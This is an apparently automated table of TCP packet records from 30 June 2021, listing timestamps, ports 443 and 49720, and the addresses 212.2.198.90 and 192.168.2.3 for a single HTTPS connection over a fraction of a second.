Jun 30, 2021 20:06:09.047346115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047363043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047372103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047384977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047396898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047404051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047420025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047420979 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047436953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047454119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047457933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047471046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047488928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047501087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047507048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047518015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047525883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047544956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047553062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047561884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047579050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047594070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047595978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047614098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047625065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047630072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047647953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047650099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047668934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047672033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047687054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047703981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047712088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047723055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047739029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047746897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047755003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047771931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047772884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047791958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047796965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047816038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047835112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047837019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047852993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047869921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047877073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047888041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047902107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047908068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047925949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047936916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047943115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047962904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047972918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047982931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048002005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048003912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048017979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048026085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048034906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048053026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048063040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048070908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048089027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048099041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048109055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048127890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048135042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048152924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048166990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048171997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048180103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048202038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048216105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048228979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048242092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048242092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048260927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048274994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048286915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048300028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048314095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048326015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048337936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048350096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048356056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048367023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048384905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048392057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048399925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048419952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048422098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048430920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048438072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048454046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048466921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048470974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048486948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048501015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048502922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048518896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048527956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048532009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048543930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048557043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048573017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048585892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048588991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048608065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048620939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048628092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048645020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048654079 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048664093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048681974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048688889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048697948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048716068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048717022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048732996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048748970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048763037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048764944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048782110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048803091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048809052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048820019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048836946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048839092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048854113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048855066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048870087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048878908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048886061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048902988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048907042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048918962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048928976 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048938036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048954964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048971891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.048971891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.048990965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049007893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049010038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049025059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049035072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049041986 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049057007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049076080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049077988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049093962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049110889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049119949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049127102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049144030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049148083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049160004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049174070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049175978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049190998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049211979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.049217939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.049253941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.102030993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.118982077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119030952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119061947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119086981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119136095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119153976 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119174004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119178057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119200945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119230032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119231939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119257927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119257927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119285107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119290113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119313002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119314909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119340897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119342089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119364977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119368076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119388103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119394064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119414091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119419098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119438887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119458914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119472980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119489908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119512081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119517088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119544029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119545937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119569063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119576931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119594097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119605064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119618893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119642019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119645119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119668961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119672060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119698048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119699955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119723082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119724989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119750023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119750977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119774103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119775057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119801044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119801044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119826078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119827986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119851112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119853020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119877100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119878054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119905949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119921923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119926929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119949102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119951963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119976044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.119992971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.119997978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120027065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120032072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120053053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120054960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120085001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120095968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120115042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120115995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120137930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120141029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120165110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120170116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120186090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120196104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120212078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120232105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120253086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120258093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120285034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120285988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120311975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120316029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120337009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120342970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120364904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120369911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120395899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120397091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120423079 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120424032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120444059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120450020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120475054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120475054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120493889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120501995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120532036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120548010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120558977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120585918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120588064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120614052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120621920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120640039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120649099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120666027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120673895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120691061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120699883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120718002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120728016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120748997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120748997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120775938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120776892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120800972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120801926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120830059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120831013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120856047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120857000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120882034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120882034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120903015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120910883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120935917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120938063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120958090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120968103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.120981932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.120994091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121021032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121036053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121046066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121072054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121077061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121098042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121114969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121124983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121148109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121154070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121182919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121185064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121207952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121210098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121236086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121237040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121263027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121267080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121290922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121320009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121321917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121329069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121341944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121347904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121373892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121376038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121402025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121402979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.121424913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.121431112 CEST	443	49720	212.2.198.90	192.168.2.3
